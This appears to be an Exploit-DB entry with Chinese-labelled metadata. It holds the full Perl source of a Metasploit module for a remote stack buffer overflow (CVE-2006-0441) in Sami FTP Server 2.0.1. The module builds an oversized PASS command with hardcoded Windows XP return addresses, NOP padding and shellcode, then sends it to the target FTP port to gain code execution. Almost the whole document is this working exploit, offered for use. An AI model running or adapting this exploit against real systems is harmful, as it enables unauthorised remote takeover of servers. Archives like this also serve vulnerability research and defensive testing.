标题: KarjaSoft Sami FTP Server 2.0.1 - Remote Buffer Overflow (Metasploit) EDB-ID: 1452 CVE: 2006-0441 类型: REMOTE 平台: WINDOWS 发布日期: 2006-01-25 漏洞利用脚本: ##
# Written by redsand
#
# This is simple, look for a {call,jmp} esp
##

package Msf::Exploit::pmsoftware_samftpd;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {
 'Name'     => 'PMSoftware Samftpd Remote Exploit',
 'Version'  => '$Revision: 1.0 $',
 'Authors'  => [ '<redsand [at] blacksecurity.org>', ],

 'Arch'  => [ 'x86' ],
 'OS'    => [ 'win32', 'win2000', 'winxp', 'win2003' ],
 'Priv'  => 0,

 'AutoOpts'  => { 'EXITFUNC' => 'thread' },
 'UserOpts'  =>
   {
  'RHOST' => [1, 'ADDR', 'The target address'],
  'RPORT' => [1, 'PORT', 'The target port', 21],
  'USER'  => [1, 'DATA', 'Username', 'redsand0wnedj00'],
   },

 'Payload'  =>
   {
  'Space' => 1024,
  'BadChars'  => "\x00\x0a\x0d\x20",
  'Keys' => ['+ws2ord'],
 # 'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
   },

 'Description'  =>  Pex::Text::Freeform(qq{
  This module exploits a stack overflow in the log handler of Samftpd
 
}),

 'Refs'  =>
   [
  ['SA18574',   'secunia.com/advisories/SA18574'],
   ],

 'DefaultTarget' => 0,
 'Targets' =>
   [
  ['SamFtpd PmSoftware.exe WinXP SP0/1 Eng.', 0x71ab7bfb],
  ['SamFtpd PmSoftware.exe WinXP SP2 Eng.', 0x77daaccf],
   ],

 'Keys'  => ['samftpd'],

 'DisclosureDate' => 'Jan 25 2006',
  };

sub new {
 my $class = shift;
 my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
 return($self);
}

sub Exploit {
 my $self = shift;
 my $target_host = $self->GetVar('RHOST');
 my $target_port = $self->GetVar('RPORT');
 my $target_idx  = $self->GetVar('TARGET');
 my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
 my $target      = $self->Targets->[$target_idx];
 my $header = "\x81\xc4\xff\xef\xff\xff\x44";

 if (! $self->InitNops(30)) {
  $self->PrintLine("[*] Failed to initialize the NOP module.");
  return;
 }

 my $evil = ("PASS ");
 $evil .= "A"x219;

 $evil .= pack("V", $target->[1]) x 5 ;
 $evil .= "\x90\x90" x 5; # little bit of padding
 $evil .= $shellcode;
 $evil .= "\x0a\x0d";

 my $s = Msf::Socket::Tcp->new
   (
  'PeerAddr'  => $target_host,
  'PeerPort'  => $target_port,
  'LocalPort' => $self->GetVar('CPORT'),
   );

 $self->PrintLine(sprintf ("[*] PMSoftware Samftpd Remote Exploit by redsand\@blacksecurity.org"));

 if ($s->IsError) {
  $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  return;
 }

 #$self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using return address 0x%.8x....", $target->[4]));

 my $r = $s->Recv(-1, 30);
 if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
 ($r) = $r =~ m/^([^\n\r]+)(\r|\n)/;
 $self->PrintLine("[*] $r");

 $self->PrintLine("[*] Login as " .$self->GetVar('USER'));
 $s->Send("USER ".$self->GetVar('USER')."\r\n");
 $r = $s->Recv(-1, 10);
 if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }

 $self->PrintLine("[*] Sending evil buffer....");
 $s->Send($evil);
 #$r = $s->Recv(-1, 10);
 if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
 $self->Print("[*] $r");
 return;

}

# milw0rm.com [2006-01-25] URL: https://www.exploit-db.com/exploits/1452